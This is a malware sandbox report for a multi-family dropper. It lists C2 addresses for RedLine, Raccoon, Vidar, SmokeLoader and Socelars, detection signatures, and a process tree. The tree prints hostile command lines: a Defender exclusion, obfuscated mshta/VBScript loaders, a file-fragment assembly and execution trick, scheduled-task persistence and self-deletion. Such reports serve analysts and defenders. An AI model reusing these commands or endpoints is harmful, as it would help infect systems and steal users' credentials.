Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Resubmissions

10/11/2021, 14:50

211110-r7nbvaeddr 10

08/11/2021, 16:12

211108-tnmmbahgaj 10

08/11/2021, 15:26

211108-svdsbaccf6 10

08/11/2021, 14:48

211108-r6lfvshdfn 10

Analysis

  • max time kernel
    31s
  • max time network
    172s
  • platform
    windows10_x64
  • resource
    win10-en-20211014
  • submitted
    08/11/2021, 14:48

General

  • Target

    db76a117dba6c24a64f328418c742a46b987d3b0914564ea439d468aa422aa12.exe

  • Size

    4.6MB

  • MD5

    c7f1d6db5efddf8b46441be0edfaadfd

  • SHA1

    e27a2fab7ac49b1709c8d9e0183b020f1be61fc6

  • SHA256

    db76a117dba6c24a64f328418c742a46b987d3b0914564ea439d468aa422aa12

  • SHA512

    856e4f8a48848b5ddc42af7c282fdbc87df641665c0a0fdb28d5af2b6ac3299d9ae3c9b9d25b145816092abd248df32c9ea4f72ea59217b50460d48fb95ecb9a

Malware Config

Extracted

Family

socelars

C2

http://www.iyiqian.com/

http://www.hbgents.top/

http://www.rsnzhy.com/

http://www.efxety.top/

Extracted

Family

raccoon

Botnet

2f2ad1a1aa093c5a9d17040c8efd5650a99640b5

Attributes
  • url4cnc

    http://telegatt.top/oh12manymarty

    http://telegka.top/oh12manymarty

    http://telegin.top/oh12manymarty

    https://t.me/oh12manymarty

rc4.plain
rc4.plain

Extracted

Family

redline

Botnet

media18

C2

91.121.67.60:2151

Extracted

Family

redline

Botnet

fucker2

C2

135.181.129.119:4805

Extracted

Family

smokeloader

Version

2020

C2

http://directorycart.com/upload/

http://tierzahnarzt.at/upload/

http://streetofcards.com/upload/

http://ycdfzd.com/upload/

http://successcoachceo.com/upload/

http://uhvu.cn/upload/

http://japanarticle.com/upload/

rc4.i32
rc4.i32

Extracted

Family

vidar

Version

47.9

Botnet

937

C2

https://mas.to/@kirpich

Attributes
  • profile_id

    937

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Raccoon

    Simple but powerful infostealer which was very active in 2019.

  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine Payload 7 IoCs
  • SmokeLoader

    Modular backdoor trojan in use since 2014.

  • Socelars

    Socelars is an infostealer targeting browser cookies and credit card credentials.

  • Socelars Payload 2 IoCs
  • Vidar

    Vidar is an infostealer based on Arkei stealer.

  • suricata: ET MALWARE FormBook CnC Checkin (GET)

    suricata: ET MALWARE FormBook CnC Checkin (GET)

  • suricata: ET MALWARE GCleaner Downloader Activity M5

    suricata: ET MALWARE GCleaner Downloader Activity M5

  • suricata: ET MALWARE JS/Nemucod requesting EXE payload 2016-02-01

    suricata: ET MALWARE JS/Nemucod requesting EXE payload 2016-02-01

  • suricata: ET MALWARE JS/Nemucod.M.gen downloading EXE payload

    suricata: ET MALWARE JS/Nemucod.M.gen downloading EXE payload

  • suricata: ET MALWARE Win32/Unk.HRESQ! MultiDownloader Checkin

    suricata: ET MALWARE Win32/Unk.HRESQ! MultiDownloader Checkin

  • suricata: ET MALWARE Win32/Unk.HRESQ! MultiDownloader Checkin M2

    suricata: ET MALWARE Win32/Unk.HRESQ! MultiDownloader Checkin M2

  • suricata: ET MALWARE Win32/Vidar Variant Stealer CnC Exfil

    suricata: ET MALWARE Win32/Vidar Variant Stealer CnC Exfil

  • Vidar Stealer 2 IoCs
  • ASPack v2.12-2.42 6 IoCs

    Detects executables packed with ASPack v2.12-2.42

  • Downloads MZ/PE file
  • Executes dropped EXE 19 IoCs
  • Modifies Windows Firewall 1 TTPs
  • Loads dropped DLL 8 IoCs
  • Themida packer 1 IoCs

    Detects Themida, an advanced Windows software protection system.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Looks up external IP address via web service 7 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Looks up geolocation information via web service

    Uses a legitimate geolocation service to find the infected system's geolocation info.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 5 IoCs
  • Creates scheduled task(s) 1 TTPs 5 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Delays execution with timeout.exe 3 IoCs
  • Kills process with taskkill 8 IoCs
  • Suspicious behavior: EnumeratesProcesses 17 IoCs
  • Suspicious use of AdjustPrivilegeToken 40 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\db76a117dba6c24a64f328418c742a46b987d3b0914564ea439d468aa422aa12.exe
    "C:\Users\Admin\AppData\Local\Temp\db76a117dba6c24a64f328418c742a46b987d3b0914564ea439d468aa422aa12.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2080
    • C:\Users\Admin\AppData\Local\Temp\setup_installer.exe
      "C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:1184
      • C:\Users\Admin\AppData\Local\Temp\7zS0A4EC006\setup_install.exe
        "C:\Users\Admin\AppData\Local\Temp\7zS0A4EC006\setup_install.exe"
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • Suspicious use of WriteProcessMemory
        PID:3944
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:2824
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
            5⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1684
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /c Tue1607c6ec89.exe
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:1600
          • C:\Users\Admin\AppData\Local\Temp\7zS0A4EC006\Tue1607c6ec89.exe
            Tue1607c6ec89.exe
            5⤵
            • Executes dropped EXE
            PID:1412
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /c Tue160598ce8b05.exe
          4⤵
            PID:3528
            • C:\Users\Admin\AppData\Local\Temp\7zS0A4EC006\Tue160598ce8b05.exe
              Tue160598ce8b05.exe
              5⤵
              • Executes dropped EXE
              • Suspicious use of AdjustPrivilegeToken
              PID:1728
              • C:\Users\Admin\AppData\Roaming\7129848.exe
                "C:\Users\Admin\AppData\Roaming\7129848.exe"
                6⤵
                  PID:4396
                • C:\Users\Admin\AppData\Roaming\4375421.exe
                  "C:\Users\Admin\AppData\Roaming\4375421.exe"
                  6⤵
                    PID:4616
                  • C:\Users\Admin\AppData\Roaming\4316755.exe
                    "C:\Users\Admin\AppData\Roaming\4316755.exe"
                    6⤵
                      PID:4704
                    • C:\Users\Admin\AppData\Roaming\4915376.exe
                      "C:\Users\Admin\AppData\Roaming\4915376.exe"
                      6⤵
                        PID:4868
                        • C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe
                          "C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"
                          7⤵
                            PID:4412
                        • C:\Users\Admin\AppData\Roaming\7797196.exe
                          "C:\Users\Admin\AppData\Roaming\7797196.exe"
                          6⤵
                            PID:4836
                            • C:\Windows\SysWOW64\mshta.exe
                              "C:\Windows\System32\mshta.exe" vbscRIpt: cLosE ( CreateOBjEct ( "WsCrIpT.shelL" ). Run ( "cMD /q /c cOPy /Y ""C:\Users\Admin\AppData\Roaming\7797196.exe"" ..\RxAPuFNW.exe && sTaRT ..\rxAPuFNw.EXe -P1jBMdKQQ16j1dp4oT~i & IF """" == """" for %Z iN ( ""C:\Users\Admin\AppData\Roaming\7797196.exe"" ) do taskkill -f -Im ""%~NXZ"" ", 0, TRUE ) )
                              7⤵
                                PID:4356
                                • C:\Windows\SysWOW64\cmd.exe
                                  "C:\Windows\System32\cmd.exe" /q /c cOPy /Y "C:\Users\Admin\AppData\Roaming\7797196.exe" ..\RxAPuFNW.exe && sTaRT ..\rxAPuFNw.EXe -P1jBMdKQQ16j1dp4oT~i &IF "" == "" for %Z iN ( "C:\Users\Admin\AppData\Roaming\7797196.exe" ) do taskkill -f -Im "%~NXZ"
                                  8⤵
                                    PID:920
                                    • C:\Users\Admin\AppData\Local\Temp\RxAPuFNW.exe
                                      ..\rxAPuFNw.EXe -P1jBMdKQQ16j1dp4oT~i
                                      9⤵
                                        PID:5408
                                        • C:\Windows\SysWOW64\mshta.exe
                                          "C:\Windows\System32\mshta.exe" vbscRIpt: cLosE ( CreateOBjEct ( "WsCrIpT.shelL" ). Run ( "cMD /q /c cOPy /Y ""C:\Users\Admin\AppData\Local\Temp\RxAPuFNW.exe"" ..\RxAPuFNW.exe && sTaRT ..\rxAPuFNw.EXe -P1jBMdKQQ16j1dp4oT~i & IF ""-P1jBMdKQQ16j1dp4oT~i "" == """" for %Z iN ( ""C:\Users\Admin\AppData\Local\Temp\RxAPuFNW.exe"" ) do taskkill -f -Im ""%~NXZ"" ", 0, TRUE ) )
                                          10⤵
                                            PID:5684
                                            • C:\Windows\SysWOW64\cmd.exe
                                              "C:\Windows\System32\cmd.exe" /q /c cOPy /Y "C:\Users\Admin\AppData\Local\Temp\RxAPuFNW.exe" ..\RxAPuFNW.exe && sTaRT ..\rxAPuFNw.EXe -P1jBMdKQQ16j1dp4oT~i &IF "-P1jBMdKQQ16j1dp4oT~i " == "" for %Z iN ( "C:\Users\Admin\AppData\Local\Temp\RxAPuFNW.exe" ) do taskkill -f -Im "%~NXZ"
                                              11⤵
                                                PID:5936
                                            • C:\Windows\SysWOW64\mshta.exe
                                              "C:\Windows\System32\mshta.exe" VBSCRipT: CLOse ( createoBJECt ( "wScRIpt.shelL" ). RUn ("cMd /C EChO | SEt /p = ""MZ"" > CPkPI.i & CopY /b /Y CPkpI.I + sQCC.RrX + NvzjY~Q7.S1K+ FZOB0ELr.D +wXR7c.DF ..\WfNrfms4.K & StARt control ..\WfNRfms4.K & Del /Q * " , 0 ,tRue ) )
                                              10⤵
                                                PID:7032
                                                • C:\Windows\SysWOW64\cmd.exe
                                                  "C:\Windows\System32\cmd.exe" /C EChO | SEt /p = "MZ" > CPkPI.i & CopY /b /Y CPkpI.I + sQCC.RrX + NvzjY~Q7.S1K+ FZOB0ELr.D +wXR7c.DF ..\WfNrfms4.K & StARt control ..\WfNRfms4.K & Del /Q *
                                                  11⤵
                                                    PID:6720
                                                    • C:\Windows\SysWOW64\cmd.exe
                                                      C:\Windows\system32\cmd.exe /S /D /c" EChO "
                                                      12⤵
                                                        PID:6640
                                                      • C:\Windows\SysWOW64\cmd.exe
                                                        C:\Windows\system32\cmd.exe /S /D /c" SEt /p = "MZ" 1>CPkPI.i"
                                                        12⤵
                                                          PID:5316
                                                        • C:\Windows\SysWOW64\control.exe
                                                          control ..\WfNRfms4.K
                                                          12⤵
                                                            PID:7376
                                                            • C:\Windows\SysWOW64\rundll32.exe
                                                              "C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL ..\WfNRfms4.K
                                                              13⤵
                                                                PID:5528
                                                      • C:\Windows\SysWOW64\taskkill.exe
                                                        taskkill -f -Im "7797196.exe"
                                                        9⤵
                                                        • Kills process with taskkill
                                                        PID:5592
                                                • C:\Users\Admin\AppData\Roaming\5640685.exe
                                                  "C:\Users\Admin\AppData\Roaming\5640685.exe"
                                                  6⤵
                                                    PID:4968
                                              • C:\Windows\SysWOW64\cmd.exe
                                                C:\Windows\system32\cmd.exe /c Tue16497809b6bd.exe
                                                4⤵
                                                • Suspicious use of WriteProcessMemory
                                                PID:676
                                                • C:\Users\Admin\AppData\Local\Temp\7zS0A4EC006\Tue16497809b6bd.exe
                                                  Tue16497809b6bd.exe
                                                  5⤵
                                                  • Executes dropped EXE
                                                  PID:1488
                                                  • C:\Users\Admin\Pictures\Adobe Films\jGFPVLOnImpBuZRPuZ3dIM7E.exe
                                                    "C:\Users\Admin\Pictures\Adobe Films\jGFPVLOnImpBuZRPuZ3dIM7E.exe"
                                                    6⤵
                                                      PID:64
                                                    • C:\Users\Admin\Pictures\Adobe Films\XWm0oltoTPHME5Qq7BPZwxzp.exe
                                                      "C:\Users\Admin\Pictures\Adobe Films\XWm0oltoTPHME5Qq7BPZwxzp.exe"
                                                      6⤵
                                                        PID:5352
                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                          C:\Windows\SysWOW64\WerFault.exe -u -p 5352 -s 400
                                                          7⤵
                                                          • Program crash
                                                          PID:5472
                                                      • C:\Users\Admin\Pictures\Adobe Films\63ZFS4fRIMvcWFVEKqTHY3xJ.exe
                                                        "C:\Users\Admin\Pictures\Adobe Films\63ZFS4fRIMvcWFVEKqTHY3xJ.exe"
                                                        6⤵
                                                          PID:5396
                                                        • C:\Users\Admin\Pictures\Adobe Films\hyTlPCOSkuckwJcnI4Vm8myS.exe
                                                          "C:\Users\Admin\Pictures\Adobe Films\hyTlPCOSkuckwJcnI4Vm8myS.exe"
                                                          6⤵
                                                            PID:5600
                                                          • C:\Users\Admin\Pictures\Adobe Films\ezwvSfLDRrzN9RNg3HEQFyHp.exe
                                                            "C:\Users\Admin\Pictures\Adobe Films\ezwvSfLDRrzN9RNg3HEQFyHp.exe"
                                                            6⤵
                                                              PID:5632
                                                            • C:\Users\Admin\Pictures\Adobe Films\Kel_7Jt_XhRkcxEIxGer3YV3.exe
                                                              "C:\Users\Admin\Pictures\Adobe Films\Kel_7Jt_XhRkcxEIxGer3YV3.exe"
                                                              6⤵
                                                                PID:5712
                                                                • C:\Users\Admin\Documents\CjLaslzGruUCQLYhVBYTl0Gn.exe
                                                                  "C:\Users\Admin\Documents\CjLaslzGruUCQLYhVBYTl0Gn.exe"
                                                                  7⤵
                                                                    PID:5080
                                                                  • C:\Windows\SysWOW64\schtasks.exe
                                                                    schtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl LG" /sc ONLOGON /rl HIGHEST
                                                                    7⤵
                                                                    • Creates scheduled task(s)
                                                                    PID:6584
                                                                  • C:\Windows\SysWOW64\schtasks.exe
                                                                    schtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl HR" /sc HOURLY /rl HIGHEST
                                                                    7⤵
                                                                    • Creates scheduled task(s)
                                                                    PID:5672
                                                                • C:\Users\Admin\Pictures\Adobe Films\jR0MHl8T1cX808rtWDmR3Ohz.exe
                                                                  "C:\Users\Admin\Pictures\Adobe Films\jR0MHl8T1cX808rtWDmR3Ohz.exe"
                                                                  6⤵
                                                                    PID:5784
                                                                  • C:\Users\Admin\Pictures\Adobe Films\pbp578dFQtZ29o3FFEniHvLP.exe
                                                                    "C:\Users\Admin\Pictures\Adobe Films\pbp578dFQtZ29o3FFEniHvLP.exe"
                                                                    6⤵
                                                                      PID:5832
                                                                    • C:\Users\Admin\Pictures\Adobe Films\8Sflrme2KR0LD1aVKmZ71Krb.exe
                                                                      "C:\Users\Admin\Pictures\Adobe Films\8Sflrme2KR0LD1aVKmZ71Krb.exe"
                                                                      6⤵
                                                                        PID:5776
                                                                        • C:\Users\Admin\Pictures\Adobe Films\8Sflrme2KR0LD1aVKmZ71Krb.exe
                                                                          "C:\Users\Admin\Pictures\Adobe Films\8Sflrme2KR0LD1aVKmZ71Krb.exe"
                                                                          7⤵
                                                                            PID:5912
                                                                        • C:\Users\Admin\Pictures\Adobe Films\TYxrifBL3e8yYV6pNaoVPBLn.exe
                                                                          "C:\Users\Admin\Pictures\Adobe Films\TYxrifBL3e8yYV6pNaoVPBLn.exe"
                                                                          6⤵
                                                                            PID:5944
                                                                            • C:\Program Files (x86)\Company\NewProduct\cutm3.exe
                                                                              "C:\Program Files (x86)\Company\NewProduct\cutm3.exe"
                                                                              7⤵
                                                                                PID:5432
                                                                            • C:\Users\Admin\Pictures\Adobe Films\uBmgNLHyuJHZbolmMHZAqaGl.exe
                                                                              "C:\Users\Admin\Pictures\Adobe Films\uBmgNLHyuJHZbolmMHZAqaGl.exe"
                                                                              6⤵
                                                                                PID:5992
                                                                              • C:\Users\Admin\Pictures\Adobe Films\5o8ceyIwE2aJ4j4u85az3AnC.exe
                                                                                "C:\Users\Admin\Pictures\Adobe Films\5o8ceyIwE2aJ4j4u85az3AnC.exe"
                                                                                6⤵
                                                                                  PID:6020
                                                                                • C:\Users\Admin\Pictures\Adobe Films\1lb5cX9Q8UdJnk5_9Z6ueToz.exe
                                                                                  "C:\Users\Admin\Pictures\Adobe Films\1lb5cX9Q8UdJnk5_9Z6ueToz.exe"
                                                                                  6⤵
                                                                                    PID:6044
                                                                                    • C:\Users\Admin\Pictures\Adobe Films\1lb5cX9Q8UdJnk5_9Z6ueToz.exe
                                                                                      "C:\Users\Admin\Pictures\Adobe Films\1lb5cX9Q8UdJnk5_9Z6ueToz.exe"
                                                                                      7⤵
                                                                                        PID:6420
                                                                                    • C:\Users\Admin\Pictures\Adobe Films\q2USX_tUTtMXBoTjrLlgXAku.exe
                                                                                      "C:\Users\Admin\Pictures\Adobe Films\q2USX_tUTtMXBoTjrLlgXAku.exe"
                                                                                      6⤵
                                                                                        PID:6132
                                                                                      • C:\Users\Admin\Pictures\Adobe Films\wXxhfquqy2fYzhdeU9VLAPOJ.exe
                                                                                        "C:\Users\Admin\Pictures\Adobe Films\wXxhfquqy2fYzhdeU9VLAPOJ.exe"
                                                                                        6⤵
                                                                                          PID:5180
                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                            "C:\Windows\System32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\Admin\Pictures\Adobe Films\wXxhfquqy2fYzhdeU9VLAPOJ.exe" & exit
                                                                                            7⤵
                                                                                              PID:7652
                                                                                              • C:\Windows\SysWOW64\timeout.exe
                                                                                                timeout /t 5
                                                                                                8⤵
                                                                                                • Delays execution with timeout.exe
                                                                                                PID:4108
                                                                                          • C:\Users\Admin\Pictures\Adobe Films\HmZrVLPozqXezv3LCvuSbvAB.exe
                                                                                            "C:\Users\Admin\Pictures\Adobe Films\HmZrVLPozqXezv3LCvuSbvAB.exe"
                                                                                            6⤵
                                                                                              PID:6124
                                                                                              • C:\Users\Admin\AppData\Local\Temp\DownFlSetup110.exe
                                                                                                "C:\Users\Admin\AppData\Local\Temp\DownFlSetup110.exe"
                                                                                                7⤵
                                                                                                  PID:5268
                                                                                                  • C:\Users\Admin\AppData\Local\250523.exe
                                                                                                    "C:\Users\Admin\AppData\Local\250523.exe"
                                                                                                    8⤵
                                                                                                      PID:7796
                                                                                                    • C:\Users\Admin\AppData\Local\6525841.exe
                                                                                                      "C:\Users\Admin\AppData\Local\6525841.exe"
                                                                                                      8⤵
                                                                                                        PID:7572
                                                                                                      • C:\Users\Admin\AppData\Local\3085145.exe
                                                                                                        "C:\Users\Admin\AppData\Local\3085145.exe"
                                                                                                        8⤵
                                                                                                          PID:1856
                                                                                                          • C:\Windows\SysWOW64\mshta.exe
                                                                                                            "C:\Windows\System32\mshta.exe" vbscRIpt: cLosE ( CreateOBjEct ( "WsCrIpT.shelL" ). Run ( "cMD /q /c cOPy /Y ""C:\Users\Admin\AppData\Local\3085145.exe"" ..\RxAPuFNW.exe && sTaRT ..\rxAPuFNw.EXe -P1jBMdKQQ16j1dp4oT~i & IF """" == """" for %Z iN ( ""C:\Users\Admin\AppData\Local\3085145.exe"" ) do taskkill -f -Im ""%~NXZ"" ", 0, TRUE ) )
                                                                                                            9⤵
                                                                                                              PID:7164
                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                "C:\Windows\System32\cmd.exe" /q /c cOPy /Y "C:\Users\Admin\AppData\Local\3085145.exe" ..\RxAPuFNW.exe && sTaRT ..\rxAPuFNw.EXe -P1jBMdKQQ16j1dp4oT~i &IF "" == "" for %Z iN ( "C:\Users\Admin\AppData\Local\3085145.exe" ) do taskkill -f -Im "%~NXZ"
                                                                                                                10⤵
                                                                                                                  PID:7480
                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\RxAPuFNW.exe
                                                                                                                    ..\rxAPuFNw.EXe -P1jBMdKQQ16j1dp4oT~i
                                                                                                                    11⤵
                                                                                                                      PID:6272
                                                                                                                      • C:\Windows\SysWOW64\mshta.exe
                                                                                                                        "C:\Windows\System32\mshta.exe" vbscRIpt: cLosE ( CreateOBjEct ( "WsCrIpT.shelL" ). Run ( "cMD /q /c cOPy /Y ""C:\Users\Admin\AppData\Local\Temp\RxAPuFNW.exe"" ..\RxAPuFNW.exe && sTaRT ..\rxAPuFNw.EXe -P1jBMdKQQ16j1dp4oT~i & IF ""-P1jBMdKQQ16j1dp4oT~i "" == """" for %Z iN ( ""C:\Users\Admin\AppData\Local\Temp\RxAPuFNW.exe"" ) do taskkill -f -Im ""%~NXZ"" ", 0, TRUE ) )
                                                                                                                        12⤵
                                                                                                                          PID:5420
                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                            "C:\Windows\System32\cmd.exe" /q /c cOPy /Y "C:\Users\Admin\AppData\Local\Temp\RxAPuFNW.exe" ..\RxAPuFNW.exe && sTaRT ..\rxAPuFNw.EXe -P1jBMdKQQ16j1dp4oT~i &IF "-P1jBMdKQQ16j1dp4oT~i " == "" for %Z iN ( "C:\Users\Admin\AppData\Local\Temp\RxAPuFNW.exe" ) do taskkill -f -Im "%~NXZ"
                                                                                                                            13⤵
                                                                                                                              PID:1792
                                                                                                                        • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                          taskkill -f -Im "3085145.exe"
                                                                                                                          11⤵
                                                                                                                          • Kills process with taskkill
                                                                                                                          PID:2348
                                                                                                                  • C:\Users\Admin\AppData\Local\6751643.exe
                                                                                                                    "C:\Users\Admin\AppData\Local\6751643.exe"
                                                                                                                    8⤵
                                                                                                                      PID:5704
                                                                                                                    • C:\Users\Admin\AppData\Local\4624114.exe
                                                                                                                      "C:\Users\Admin\AppData\Local\4624114.exe"
                                                                                                                      8⤵
                                                                                                                        PID:7864
                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\WW1Soft.exe
                                                                                                                      "C:\Users\Admin\AppData\Local\Temp\WW1Soft.exe"
                                                                                                                      7⤵
                                                                                                                        PID:5056
                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\liuchang-game.exe
                                                                                                                        "C:\Users\Admin\AppData\Local\Temp\liuchang-game.exe"
                                                                                                                        7⤵
                                                                                                                          PID:4344
                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe
                                                                                                                          "C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe"
                                                                                                                          7⤵
                                                                                                                            PID:5104
                                                                                                                            • C:\Windows\SysWOW64\mshta.exe
                                                                                                                              "C:\Windows\System32\mshta.exe" vbsCrIPT:cLoSE( CrEaTeoBJeCt( "WscRIpT.sHElL" ). Run ( "cmd /R cOpY /Y ""C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe"" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi & If """" == """" for %M in ( ""C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe"" ) do taskkill -f -iM ""%~NxM"" " , 0 , truE ) )
                                                                                                                              8⤵
                                                                                                                                PID:4388
                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                  "C:\Windows\System32\cmd.exe" /R cOpY /Y "C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi & If "" == "" for %M in ( "C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe" ) do taskkill -f -iM "%~NxM"
                                                                                                                                  9⤵
                                                                                                                                    PID:2324
                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe
                                                                                                                                      ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi
                                                                                                                                      10⤵
                                                                                                                                        PID:7280
                                                                                                                                        • C:\Windows\SysWOW64\mshta.exe
                                                                                                                                          "C:\Windows\System32\mshta.exe" vbsCrIPT:cLoSE( CrEaTeoBJeCt( "WscRIpT.sHElL" ). Run ( "cmd /R cOpY /Y ""C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe"" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi & If ""/PLQtzfgO0m8dRv4iYALOqi "" == """" for %M in ( ""C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe"" ) do taskkill -f -iM ""%~NxM"" " , 0 , truE ) )
                                                                                                                                          11⤵
                                                                                                                                            PID:7484
                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                              "C:\Windows\System32\cmd.exe" /R cOpY /Y "C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi & If "/PLQtzfgO0m8dRv4iYALOqi " == "" for %M in ( "C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe" ) do taskkill -f -iM "%~NxM"
                                                                                                                                              12⤵
                                                                                                                                                PID:7788
                                                                                                                                          • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                            taskkill -f -iM "search_hyperfs_206.exe"
                                                                                                                                            10⤵
                                                                                                                                            • Kills process with taskkill
                                                                                                                                            PID:7880
                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\setup.exe
                                                                                                                                      "C:\Users\Admin\AppData\Local\Temp\setup.exe"
                                                                                                                                      7⤵
                                                                                                                                        PID:5080
                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\is-675PS.tmp\setup.tmp
                                                                                                                                          "C:\Users\Admin\AppData\Local\Temp\is-675PS.tmp\setup.tmp" /SL5="$20468,1570064,56832,C:\Users\Admin\AppData\Local\Temp\setup.exe"
                                                                                                                                          8⤵
                                                                                                                                            PID:5416
                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\setup.exe
                                                                                                                                              "C:\Users\Admin\AppData\Local\Temp\setup.exe" /SILENT
                                                                                                                                              9⤵
                                                                                                                                                PID:3052
                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\is-RUDQP.tmp\setup.tmp
                                                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\is-RUDQP.tmp\setup.tmp" /SL5="$40258,1570064,56832,C:\Users\Admin\AppData\Local\Temp\setup.exe" /SILENT
                                                                                                                                                  10⤵
                                                                                                                                                    PID:6892
                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\is-QQOQQ.tmp\postback.exe
                                                                                                                                                      "C:\Users\Admin\AppData\Local\Temp\is-QQOQQ.tmp\postback.exe" ss1
                                                                                                                                                      11⤵
                                                                                                                                                        PID:6308
                                                                                                                                                      • C:\Program Files (x86)\FarLabUninstaller\FarLabUninstaller.exe
                                                                                                                                                        "C:\Program Files (x86)\FarLabUninstaller\FarLabUninstaller.exe" ss1
                                                                                                                                                        11⤵
                                                                                                                                                          PID:6268
                                                                                                                                                        • C:\Program Files (x86)\FarLabUninstaller\NDP472-KB4054531-Web.exe
                                                                                                                                                          "C:\Program Files (x86)\FarLabUninstaller\NDP472-KB4054531-Web.exe" /q /norestart
                                                                                                                                                          11⤵
                                                                                                                                                            PID:3652
                                                                                                                                                            • C:\7ee90f74cf88db0b855addb70b0d23\Setup.exe
                                                                                                                                                              C:\7ee90f74cf88db0b855addb70b0d23\\Setup.exe /q /norestart /x86 /x64 /web
                                                                                                                                                              12⤵
                                                                                                                                                                PID:6008
                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\inst1.exe
                                                                                                                                                      "C:\Users\Admin\AppData\Local\Temp\inst1.exe"
                                                                                                                                                      7⤵
                                                                                                                                                        PID:5876
                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\askinstall25.exe
                                                                                                                                                        "C:\Users\Admin\AppData\Local\Temp\askinstall25.exe"
                                                                                                                                                        7⤵
                                                                                                                                                          PID:4184
                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\setup_2.exe
                                                                                                                                                          "C:\Users\Admin\AppData\Local\Temp\setup_2.exe"
                                                                                                                                                          7⤵
                                                                                                                                                            PID:6248
                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\Calculator Installation.exe
                                                                                                                                                            "C:\Users\Admin\AppData\Local\Temp\Calculator Installation.exe"
                                                                                                                                                            7⤵
                                                                                                                                                              PID:6412
                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\chrome1.exe
                                                                                                                                                              "C:\Users\Admin\AppData\Local\Temp\chrome1.exe"
                                                                                                                                                              7⤵
                                                                                                                                                                PID:6500
                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe
                                                                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"
                                                                                                                                                                  8⤵
                                                                                                                                                                    PID:400
                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\chrome update.exe
                                                                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\chrome update.exe"
                                                                                                                                                                  7⤵
                                                                                                                                                                    PID:6624
                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\chrome2.exe
                                                                                                                                                                    "C:\Users\Admin\AppData\Local\Temp\chrome2.exe"
                                                                                                                                                                    7⤵
                                                                                                                                                                      PID:6736
